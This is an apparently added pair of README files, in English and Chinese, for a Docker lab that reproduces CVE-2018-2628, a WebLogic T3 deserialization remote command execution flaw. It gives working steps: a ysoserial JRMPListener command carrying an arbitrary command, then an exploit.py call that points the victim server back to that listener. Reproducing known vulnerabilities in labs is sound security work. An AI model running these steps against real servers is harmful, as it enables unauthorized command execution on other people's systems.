+# Weblogic WLS Core Components Deserialization Remote Command Execution (CVE-2018-2628)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Oracle Weblogic Server is a popular enterprise application server that provides a wide range of features for building and deploying enterprise applications.
+
+In Oracle's April 2018 patch, a deserialization vulnerability in Weblogic Server WLS Core Components was fixed (CVE-2018-2628). This vulnerability can be triggered through the T3 protocol, allowing unauthorized users to execute arbitrary commands on the remote server.

+
+## Environment Setup
+
+Execute the following command to start Weblogic 10.3.6.0:
+
+```
+docker compose up -d
+```
+
+Wait for the environment to start (depending on your machine, it might take a while), then visit `http://your-ip:7001/console` to initialize the environment.
+
+## Vulnerability Reproduce
+
+First, download ysoserial and start a JRMP Server:
+
+```
+java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
+```
+
+Where `[command]` is the command you want to execute, and `[listen port]` is the port that the JRMP Server listens on.
+
+Then, use the [exploit.py](https://www.exploit-db.com/exploits/44553) script to send a packet to the target Weblogic (`http://your-ip:7001`):
+
+```
+python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
+```
+
+Where `[victim ip]` and `[victim port]` are the IP and port of the target weblogic, `[path to ysoserial]` is the local path to ysoserial, `[JRMPListener ip]` and `[JRMPListener port]` are the IP address and port of the JRMP Server started in step 1. `[JRMPClient]` is the class to execute JRMPClient, the optional values are `JRMPClient` or `JRMPClient2`.
+
+After exploit.py is executed, run `docker compose exec weblogic bash` to enter the container, and you can see that /tmp/success has been successfully created.

+# Weblogic WLS Core Components 反序列化命令执行漏洞（CVE-2018-2628）
+
+Oracle 2018年4月补丁中，修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞（CVE-2018-2628），该漏洞通过T3协议触发，可导致未授权的用户在远程服务器执行任意命令。

+
+## 漏洞环境
+
+执行如下命令启动Weblogic 10.3.6.0：
+
+```
+docker compose up -d
+```
+
+等待环境启动（环境差异，有的机器可能等待的时间比较久），访问`http://your-ip:7001/console`，初始化整个环境。
+
+## 漏洞复现
+
+首先下载ysoserial，并启动一个JRMP Server：
+
+```
+java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
+```
+
+其中，`[command]`即为我想执行的命令，而`[listen port]`是JRMP Server监听的端口。
+
+然后，使用[exploit.py](https://www.exploit-db.com/exploits/44553)脚本，向目标Weblogic（`http://your-ip:7001`）发送数据包：
+
+```
+python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
+```
+
+其中，`[victim ip]`和`[victim port]`是目标weblogic的IP和端口，`[path to ysoserial]`是本地ysoserial的路径，`[JRMPListener ip]`和`[JRMPListener port]`第一步中启动JRMP Server的IP地址和端口。`[JRMPClient]`是执行JRMPClient的类，可选的值是`JRMPClient`或`JRMPClient2`。
+
+exploit.py执行完成后，执行`docker compose exec weblogic bash`进入容器中，可见/tmp/success已成功创建。
